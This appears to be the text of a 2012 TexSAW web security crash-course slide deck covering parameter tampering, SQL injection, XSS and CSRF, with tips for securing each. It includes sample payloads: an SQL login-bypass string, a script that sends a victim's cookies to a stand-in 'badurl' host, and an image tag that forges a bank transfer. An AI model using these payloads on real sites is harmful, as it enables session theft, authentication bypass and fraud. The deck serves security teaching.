TEXSAW 2012 WEB SECURITY CRASH COURSE Tex SAW

TEXSAW 2012 WEB SECURITY CRASH COURSE Tex. SAW 2012 Scott Hand

Introduction

Recommended Tools Web browser – Firefox is recommended because of Tamper. Data, Live HTTP Headers, etc. Knowing Python helps Very little else is needed, Backtrack Linux is useful for many automated tools

What We’re Targeting Web Applications � Web Pages (HTML, PHP, etc. ) � Databases Goal � Steal data � Gain access to system � Bypass authentication blocks

Background

Web Servers Web applications are really just an interface for accessing a web server Example Web Servers: � Apache � IIS � Nginx � Self-contained servers for one application – Ruby on Rails, Django, Sinatra, node. js, etc. Some servers like Apache resemble navigating a file system, others use RESTful routing

HTTP is the means of communication It is stateless � We get around this by using sessions � Sessions are stored in browser cookies � Side effect – If we steal someone’s cookies, the web server will think we are the same user

HTTP Requests Web traffic involves a Request and a Response GET and POST are two main request methods GET is for an action intended to ask the server for information POST is for an action intended to tell the server to do something Examples: GET used for showing your profile on a web site, POST used to update your profile information

HTTP Request Parameters Along with the URL and request method, HTTP requests can also carry parameters GET parameters � Visible from the url: http: //www. url. com/page. php? arg 1=a&arg 2=b � Can be embedded easily in links POST parameters are not visible from the URL and not easily embedded in links, however they can easily be altered

Example Scenario

Example Exchange for a Bank Site Viewing Homepage Web Server User GET INDEX GET: index. php Database

Example Exchange for a Bank Site Logging In Web Server User POST Redirect to account Database Auth OK SET UP SESSION POST: login. php Parameters: username,

Example Exchange for a Bank Site Transferring Some Money Web Server User POST Database Make changes OK Redirect to account POST: transfer. php Parameters: to, amount

Parameter Tampering

Tools Tamper. Data – Extension for Firefox � Can intercept and modify requests � Pretty powerful but can be tedious to use repeatedly Live HTTP Headers – Extension for Firefox � Good for monitoring and replaying requests � Fast and good as long as replaying traffic works Burp Suite � Separate program, works through proxy – browser agnostic � Can do just about everything

Example Attack Web Server User POST Database Make changes OK Redirect to account POST: transfer. php Parameters: to, amount

Parameter Tampering Example of real-life attack – Pay. Pal was used by vendors to handle transactions. They trust Pay. Pal and Pay. Pal trusts them. � They trust that once they send the transaction to Pay. Pal, it will be resolved and they can send the product when the transaction is complete � Pay. Pal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct � If we change the amount we pay to something small, neither party knows and we get the product for nothing

DEMO

Tips for Securing Don’t trust requests by themselves! Many frameworks will sign requests that they send to prevent tampering Thinking that users can’t alter POST data because they can’t see it in their address bar is just weak security through obscurity

SQL Injections

Overview SQL injection is part of a class of attacks in which we abuse poor programming to embed user-controlled data in trusted code run by the server Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables: $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”;

Example Attack Web Server User POST Database Auth OK Redirect to account POST: login. php Lets look at the SQL and the

Behind the Scenes for login. php $query = “SELECT * from users ”. “WHERE username = ‘”. $username. “’ AND password = ‘”. $password. “’”; Examine the result to see if the user is selected. Sample normal query after input: SELECT * from users WHERE name=‘user’ AND password=‘password’ Sample attack password: ’ OR ‘ 1’=‘ 1 Resulting query: SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘ 1’=‘ 1’ Always returns true, bypasses authentication

Other Types of Attacks Can add INSERTS, UPDATES, etc. if multiple queries are supported Blind SQL Injection � Needed when the results of a query are not displayed or even acknowledged � Use side channel attacks – sleep for a certain amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password � sqlmap works wonders to help automate this

DEMO

Tips for Securing USE PREPARED STATEMENTS Don’t plug user input into queries Don’t escape user tainted queries SERIOUSLY USE PREPARED STATEMENTS THEY’RE NOT EVEN HARD TO USE

Cross Site Scripting (XSS)

Overview Basic idea is to exploit the trust that your browser places in the website it’s viewing Embed malicious code in the webpage and your browser will execute it Two Types: � Reflected – Client-side. In request parameters or URL. Requires that a user click the malicious link or form. � Stored – Server-side. Embedded in a web page and hits every visitor that views the page.

Some Goals Steal cookies � Since Java. Script can access cookies, you can send the victim’s cookies to yourself: <script>$. get(‘www. badurl. com/? cookie=’ + document. cookie); <script> Mimic real user behavior � Fill out and submit forms � Open IFRAMEs to maintain access � Redirect to other pages

Example Exchange for a Bank Site Viewing Homepage Web Server User Database GET ct fe In INDEX Sessio n GET: index. php Bad Guy

DEMO

Tips for Securing Developers � Never, ever allow unauthorized users the ability to embed HTML into your page. � Escape every single bit of user input you get, it’s all dangerous Users � Use No. Script or similar plugin � Don’t click a link with a bunch of Java. Script in the URL

Cross Site Request Forgery (CSRF)

Overview Exploit the trust that the web server places in the victim’s browser It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS

Example Exchange for a Bank Site Transferring Some Money User Bad Guy Web Server P OS T Database Make changes OK Redirect to account POST: transfer. php Parameters: to=BAD GUY,

Ways to Trigger An image: <img src=“http: //www. bank. com/transfer? to=1337&amount=1000000” /> XSS: $. get(‘. /profile. php’, function(data) { // evil });

DEMO

Tips for Securing Only trust requests from your site Use CSRF-protection tokens – one time tokens forms – included in most web frameworks Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers Not much you can do as a user

General Tips

Look at Requests! Use Tamper. Data, firebug, Chrome Developer Tools, Live HTTP Headers, etc. Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you

Inject Everything If you think it’s using your data in SQL, try some SQL injection If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like && If you think it’s running HTML, throw in some Java. Script

Situational Awareness Pay close attention to what kind of web server you’re dealing with Some web servers or web frameworks are more susceptible than others to certain attacks For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input

Java. Script – It does a lot If you have j. Query on your website, use it! � You can issue requests and parse the results with $. get() and $. post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page) � It gives you tools for shorter Java. Script payloads, especially handy when space is critical Pretty much anything on the user’s end can be scripted and altered

Any questions?

That’s all, CTF Time! Presented by Scott Hand (utdallas. edu/~shand)